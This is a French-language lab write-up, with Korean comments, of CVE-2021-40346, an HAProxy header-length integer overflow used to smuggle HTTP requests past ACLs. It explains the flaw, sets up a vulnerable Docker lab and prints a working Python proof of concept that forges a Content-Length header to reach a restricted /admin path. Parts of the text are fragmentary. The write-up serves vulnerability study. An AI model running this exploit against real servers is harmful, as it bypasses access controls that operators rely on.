
WHS CVE-2021-40346 분석
htx_add_header() de HAProxy, qui stocke les en-têtes HTTP au format HTX interne, en raison de l'absence de validation de la longueur du nom d'en-tête (Header Name).http-request (par exemple path_beg /admin) doit être définie sur le frontend — cette règle est contournée.Lorsque HAProxy stocke les en-têtes HTTP au format HTX interne, il enregistre la longueur du nom d'en-tête dans un champ de 8 bits (max 255). La fonction htx_add_header() ne valide pas cette longueur, donc si un nom de plus de 256 octets est envoyé, un débordement d'entier se produit et les bits excédentaires débordent dans le champ adjacent de longueur de valeur.
Si le nom d'en-tête fait exactement 270 octets (270 mod 256 = 14), HAProxy le prend pour "Content-Length" (14 caractères) et lit l'octet contaminé par le débordement comme valeur. En plaçant "0" à cet emplacement, on crée un en-tête Content-Length: 0 falsifié.
Si un véritable en-tête Content-Length est envoyé après cet en-tête falsifié, HAProxy adopte le premier des en-têtes en double (le falsifié 0) et ignore la valeur réelle. Le processus de lecture du corps réel depuis le client fonctionne correctement selon le texte original, mais l'en-tête transmis au backend contient la valeur falsifiée (0), créant une divergence entre la taille réelle du corps reçu et la taille annoncée au backend.
Le backend croit la valeur annoncée (0) et considère la requête terminée, puis réinterprète les données qui étaient le corps original comme une toute nouvelle requête. Comme les ACL de HAProxy sont vérifiées avant cela uniquement sur la première ligne de requête, la seconde requête cachée atteint le backend sans être inspectée. En conséquence, toutes les ACL http-request configurées sont contournées.
Exécutez docker compose up --build -d pour lancer l'environnement de test vulnérable (haproxy ver.2.2.16 / backend : gunicorn)
Testez l'activation de HAProxy et du serveur backend avec le code ci-dessous :
until curl -s -o /dev/null http://localhost:8080/; do sleep 1; done
echo "준비 완료"
Exécutez le code PoC : python3 poc.py --host 127.0.0.1 --port 8080
Vérifiez dans les logs d'accès du backend que la requête /admin a bien été traitée avec docker logs cve-2021-40346-backend --tail 5
import socket
HOST = "127.0.0.1"
PORT = 8080
# 이름을 270바이트로 만들면 8비트 이름 길이 필드가 오버플로우되어
# HAProxy가 이걸 "Content-Length: 0" 헤더로 착각한다.
fake_name = b"Content-Length" + b"0" + b"a" * 255 # 14 + 1 + 255 = 270 bytes
hidden_request = b"GET /admin HTTP/1.1\r\nHost: abc.com\r\nConnection: close\r\n\r\n"
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: abc.com\r\n"
+ fake_name + b":\r\n"
+ b"Content-Length: " + str(len(hidden_request)).encode() + b"\r\n"
b"\r\n"
+ hidden_request
)
with socket.create_connection((HOST, PORT), timeout=5) as s:
s.sendall(payload)
print(s.recv(4096).decode(errors="replace"))
Comme ci-dessus, le backend traite la requête GET vers admin, qui est normalement restreinte.
htx_add_header() corrige la cause racine).